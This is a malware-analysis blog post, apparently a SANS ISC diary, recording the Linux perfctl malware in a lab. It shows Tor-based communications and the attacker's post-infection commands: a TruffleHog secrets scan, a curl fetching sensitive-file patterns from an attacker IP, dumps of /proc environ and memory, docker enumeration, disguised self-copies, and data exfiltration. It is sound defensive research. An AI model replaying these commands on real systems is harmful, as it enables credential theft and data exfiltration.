A few days ago, a new stealthy malware targeting Linux hosts made a lot of noise: perfctl[1]. The malware has been pretty well analyzed and I won’t repeat what has been already disclosed. I found a copy of the "httpd" binary (SHA256:22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13)[2]. I dropped the malware in my lab to see how it detonated. I infected the lab without root privileges and detected the same behavior except files were not written to some locations due to a lack of access (not root). When executing without root privileges, the rootkit feature is unavailable and the malware runs "disclosed".
After the sandbox infection, I had two running processes:
The resources used by the two processes are:
remnux@remnux:/$ sudo lsof -p 2637 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME gnome-ses 2637 remnux cwd DIR 8,5 4096 1967470 /var/tmp/test gnome-ses 2637 remnux rtd DIR 8,5 4096 2 / gnome-ses 2637 remnux txt REG 8,5 9301499 2498448 /tmp/.perf.c/gnome-session-binary (deleted) gnome-ses 2637 remnux mem REG 8,5 21444668 794483 /tmp/.xdiag/tordata/cached-microdescs gnome-ses 2637 remnux mem REG 8,5 3552 2245832 /usr/share/zoneinfo/America/New_York gnome-ses 2637 remnux 0r CHR 1,3 0t0 6 /dev/null gnome-ses 2637 remnux 1w CHR 1,3 0t0 6 /dev/null gnome-ses 2637 remnux 2w CHR 1,3 0t0 6 /dev/null gnome-ses 2637 remnux 3u IPv4 186838 0t0 TCP remnux:44010->tor-exit-read-me.dfri.se:http (ESTABLISHED) gnome-ses 2637 remnux 4u a_inode 0,14 0 12517 [eventpoll] gnome-ses 2637 remnux 5r FIFO 0,13 0t0 58960 pipe gnome-ses 2637 remnux 6w FIFO 0,13 0t0 58960 pipe gnome-ses 2637 remnux 7u unix 0xffff8b2abaa0dc00 0t0 71705 type=STREAM gnome-ses 2637 remnux 8u unix 0xffff8b2abaa09800 0t0 58991 /tmp/.xdiag/int/.per.s type=STREAM gnome-ses 2637 remnux 9u unix 0xffff8b2abaa0e000 0t0 71704 type=STREAM gnome-ses 2637 remnux 10u a_inode 0,14 0 12517 [eventpoll] gnome-ses 2637 remnux 11r FIFO 0,13 0t0 71706 pipe gnome-ses 2637 remnux 12w FIFO 0,13 0t0 71706 pipe gnome-ses 2637 remnux 13uW REG 8,5 0 794471 /tmp/.xdiag/tordata/lock gnome-ses 2637 remnux 14u IPv4 68064 0t0 TCP localhost:37959 (LISTEN) gnome-ses 2637 remnux 15u IPv4 71708 0t0 TCP localhost:63582 (LISTEN) gnome-ses 2637 remnux 16u IPv4 187544 0t0 TCP localhost:44870->localhost:46606 (ESTABLISHED) gnome-ses 2637 remnux 17u IPv4 187546 0t0 TCP localhost:48816->localhost:63582 (ESTABLISHED) gnome-ses 2637 remnux 18u IPv4 187547 0t0 TCP localhost:63582->localhost:48816 (ESTABLISHED) gnome-ses 2637 remnux 19u IPv4 68080 0t0 TCP remnux:42126->tor-exit.exs.no:https (ESTABLISHED) gnome-ses 2637 remnux 20r FIFO 0,13 0t0 187612 pipe gnome-ses 2637 remnux 21u IPv4 71788 0t0 TCP localhost:44870 (LISTEN) gnome-ses 2637 remnux 22u IPv4 71790 0t0 TCP localhost:44869 (LISTEN) gnome-ses 2637 remnux 23w FIFO 0,13 0t0 187612 pipe gnome-ses 2637 remnux 24r FIFO 0,13 0t0 187613 pipe gnome-ses 2637 remnux 25w FIFO 0,13 0t0 187613 pipe remnux@remnux:/$ sudo lsof -p 2791 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME perfctl 2791 remnux cwd DIR 8,5 4096 2 / perfctl 2791 remnux rtd DIR 8,5 4096 2 / perfctl 2791 remnux txt REG 8,5 1727132 2498457 /tmp/.perf.c/perfctl perfctl 2791 remnux 0r CHR 1,3 0t0 6 /dev/null perfctl 2791 remnux 1w CHR 1,3 0t0 6 /dev/null perfctl 2791 remnux 2w CHR 1,3 0t0 6 /dev/null perfctl 2791 remnux 3u a_inode 0,14 0 12517 [eventpoll] perfctl 2791 remnux 4r FIFO 0,13 0t0 68184 pipe perfctl 2791 remnux 5w FIFO 0,13 0t0 68184 pipe perfctl 2791 remnux 6r FIFO 0,13 0t0 71857 pipe perfctl 2791 remnux 7u unix 0xffff8b2abaa0dc00 0t0 71705 type=STREAM perfctl 2791 remnux 8w FIFO 0,13 0t0 71857 pipe perfctl 2791 remnux 9u a_inode 0,14 0 12517 [eventfd] perfctl 2791 remnux 10u a_inode 0,14 0 12517 [eventfd] perfctl 2791 remnux 11u a_inode 0,14 0 12517 [eventfd] perfctl 2791 remnux 12r CHR 1,3 0t0 6 /dev/null perfctl 2791 remnux 13u IPv4 186859 0t0 TCP localhost:46606->localhost:44870 (ESTABLISHED)
That's exactly what has been described in the initial malware analysis: Tor is used for external communications and inter-process communications ate performed via sockets:
tor-exit-read-me.dfri.se:443 <-> (:42126) gnome-session-binary (127.0.0.1:46606) <-> (127.0.0.1:44870) perfctl
The malware also implants a backdoor allowing remote access to the Attacker.
Indeed, after approximately 30 minutes, I saw more activity ongoing. The Attacker dropped and executed a bunch of scripts to perform a footprint of the compromised host, search for interesting files/credentials, and exfiltrate them. All files were dropped in a sub-directory in the infected user's home directory:
remnux@remnux:~/.atmp/tmp/.applocal.xdiag$ ls -al total 2752 drwx------ 1 remnux remnux 32768 8 Oct 14:34 . drwx------ 1 remnux remnux 32768 8 Oct 10:03 .. -rwx------ 1 remnux remnux 36 8 Oct 09:26 aa.txt -rwx------ 1 remnux remnux 0 8 Oct 09:06 cloud_meta.txt -rwx------ 1 remnux remnux 64 8 Oct 09:26 debug.txt drwx------ 1 remnux remnux 32768 8 Oct 09:07 docker -rwx------ 1 remnux remnux 7745 8 Oct 09:24 environs.txt -rwx------ 1 remnux remnux 208084 8 Oct 09:07 files.txt drwx------ 1 remnux remnux 32768 8 Oct 09:20 files_other drwx------ 1 remnux remnux 32768 8 Oct 09:20 files_th -rwx------ 1 remnux remnux 0 8 Oct 09:13 foi.cry.txt -rwx------ 1 remnux remnux 0 8 Oct 09:13 foi.fds.txt -rwx------ 1 remnux remnux 612 8 Oct 09:13 foi.fs.txt -rwx------ 1 remnux remnux 0 8 Oct 09:24 foi.varlib.txt -rwx------ 1 remnux remnux 29994 8 Oct 09:24 foi.xy.txt -rwx------ 1 remnux remnux 49776 8 Oct 09:06 host.txt -rwx------ 1 remnux remnux 0 8 Oct 09:06 i1run1dmen -rwx------ 1 remnux remnux 6592 8 Oct 09:06 local_users.txt -rwx------ 1 remnux remnux 2682 8 Oct 09:06 modules.txt -rwx------ 1 remnux remnux 3705 8 Oct 09:06 net.txt -rwx------ 1 remnux remnux 124006 8 Oct 09:24 process.env.txt -rwx------ 1 remnux remnux 20141 8 Oct 09:24 process.mem.txt -rwx------ 1 remnux remnux 470494 8 Oct 14:54 rex.filepaths.large-1.txt -rwx------ 1 remnux remnux 0 8 Oct 09:26 rver1 -rwx------ 1 remnux remnux 2370 8 Oct 09:08 th.filesystem.secrets.found.txt
To analyze the malware behavior, I used kunai[3] to record the system activity.
The main tool downloaded is TruffleHog[4], a well-known credentials scanner that can scan many different local or remote places. The file was downloaded from the official repository:
curl -m 1800 -fsSLk hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/v3.78.2/trufflehog_3.78.2_linux_amd64.tar.gz -o th.tar.gz tar zxvf th.tar.gz trufflehog chmod +x trufflehog ./trufflehog --help mv trufflehog thg xargs -0 ./thg --concurrency=2 --no-update --no-verification --include-detectors=all filesystem rm -f thg
I'm not sure if the scan was launched automatically or by a human: Why the TruffleHog binary was executed with the "--help" parameter? Strange.
Here is the result file:
remnux@remnux:~/.atmp/tmp/.applocal.xdiag$ cat th.filesystem.secrets.found.txt Found unverified result ??? Detector Type: URI Decoder Type: PLAIN Raw result: http://jschmoe:[email protected]:8000 File: /opt/procdot/plugins/pcap_tools/tcl/tcl8/http-2.8.7.tm Line: 413 Found unverified result ??? Detector Type: URI Decoder Type: PLAIN Raw result: http://jschmoe:[email protected]:8000 File: /opt/procdot/plugins/pcap_tools/tcl/tcl8/http-2.8.7.tm Line: 28 Found unverified result ??? Verification issue: More than one detector has found this result. For your safety, verification has been disabled.You can override this behavior by using the --allow-verification-overlap flag. Detector Type: FTP Decoder Type: PLAIN Raw result: ftp://joe:[email protected] File: /opt/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/urllib2.py Line: 105 Found unverified result ??? Detector Type: URI Decoder Type: PLAIN Raw result: http://joe:[email protected] File: /opt/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/urllib2.py Line: 98 Found unverified result ??? Detector Type: URI Decoder Type: PLAIN Raw result: http://joe:[email protected]:3128 File: /opt/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/urllib2.py Line: 100 Found unverified result ??? Detector Type: URI Decoder Type: PLAIN Raw result: http://joe:[email protected] File: /opt/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/urllib2.py Line: 98 Found unverified result ??? Detector Type: JDBC Decoder Type: PLAIN Raw result: jdbc:mysql://localhost/ziclix File: /opt/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/dbexts.py Line: 30 Found unverified result ??? Detector Type: JDBC Decoder Type: PLAIN Raw result: jdbc:postgresql://localhost:5432/ziclix File: /opt/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/dbexts.py Line: 38 Found unverified result ??? Detector Type: Github Decoder Type: PLAIN Raw result: 9813cde2db1f31f92fed49a4dd8aa29b21d72581 Rotation_guide: https://howtorotate.com/docs/tutorials/github/ Version: 1 File: /opt/ghidra/Ghidra/application.properties Line: 10 Found unverified result ??? Detector Type: Github Decoder Type: PLAIN Raw result: 44ca5b263a955ba19ec4f57a5646d4a406a34f70 Rotation_guide: https://howtorotate.com/docs/tutorials/github/ Version: 1 File: /opt/ghidra/Ghidra/application.properties Line: 11
The next step was to search for interesting files using a dictionary downloaded from the following URL:
curl -m 1800 -fsSLk hxxp://104[.]183[.]100[.]189/common/backup.list -o rex.filepaths.large-1.txt
The download file contains 19K+ regular expressions to match juicy files on a file system. Example:
... /09-managing-state/end/vue-heroes/\.env$ /0-flannel\.conf$ /0\.htpasswd$ /0loginlog$ /10-flannel\.conf$ /1C/conf$ /1C/config$ /1confirmssr\.htm$ /1\.htpasswd$ /1loginlog$ /1password$ /2004conference$ /2009-conference$ /2015/kj/config\.js$ /2019/wp-login\.php$ /2020/wp-login\.php$ /2021/wp-login\.php$ /2loginlog$ /31_structure_tests/\.env$ /3digitcode\.php$ /3loginlog$ /3-sequelize/final/\.env$ ...
The Attacker searched for many regular expressions and more in the list of discovered files. Then, he/she parsed also the /proc file system for interesting processes:
ls -l /proc/1327/exe grep -s -q KMHt5Ykyq3ZkgI8CZ /proc/1327/cmdline grep -s -q 5Y4B2Se2L4VPL6Z5nKMgIv5Ih3+oxkb5EqmzE768BFo= /proc/1327/cmdline cat /proc/1327/environ cat /proc/1327/cmdline cat /proc/1327/maps
He/she also scrapped the processes' memory for interesting data by performing multiple dumps of the memory:
dd if=/proc/1327/mem bs=4096 iflag=skip_bytes,count_bytes skip=94423105585152 count=4096
Potential dockers were also inspected:
docker images docker ps docker ps -a
The malware replicated itself multiple times by creating new binaries:
cp /proc/62759/exe /tmp/.perf.c/ibus-x11 cp /proc/63602/exe /tmp/.perf.c/gnome-session-ctl cp /proc/64431/exe /tmp/.perf.c/ibus-daemon cp /proc/65271/exe /tmp/.perf.c/ibus-x11 cp /proc/6549/exe /tmp/.perf.c/pulseaudio cp /proc/66088/exe /tmp/.perf.c/vmtoolsd cp /proc/66919/exe /tmp/.perf.c/ibus-daemon cp /proc/67754/exe /tmp/.perf.c/ibus-x11 cp /proc/68583/exe /tmp/.perf.c/jq cp /proc/69428/exe /tmp/.perf.c/systemd cp /proc/70242/exe /tmp/.perf.c/ssh-agent cp /proc/71046/exe /tmp/.perf.c/python3 cp /proc/71062/exe /dev/shm/libfsnldev.so cp /proc/71062/exe /dev/shm/libpprocps.so cp /proc/71062/exe /lib/libfsnldev.so cp /proc/71062/exe /lib/libpprocps.so cp /proc/7411/exe /tmp/.perf.c/systemd cp /proc/8248/exe /tmp/.perf.c/ibus-x11 cp /proc/9084/exe /tmp/.perf.c/ibus-x11 cp /proc/9914/exe /tmp/.perf.c/systemd
Once all details are collected, they are stored in a Tar archive and exfiltrated:
trunk.6f7794aa1bd1b2b8d26eb2eae5f8df37_169.155.242.252_.tar.gz
Conclusion: If just a "simple" cryptominer seems to be deployed by Attackers, they can also steal your data and probably abuse your compromised hosts in many different ways!
[1] https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/
[2] https://www.virustotal.com/gui/file/22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13
[3] https://isc.sans.edu/diary/Kunai+Keep+an+Eye+on+your+Linux+Hosts+Activity/31054
[4] https://github.com/trufflesecurity/trufflehog
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key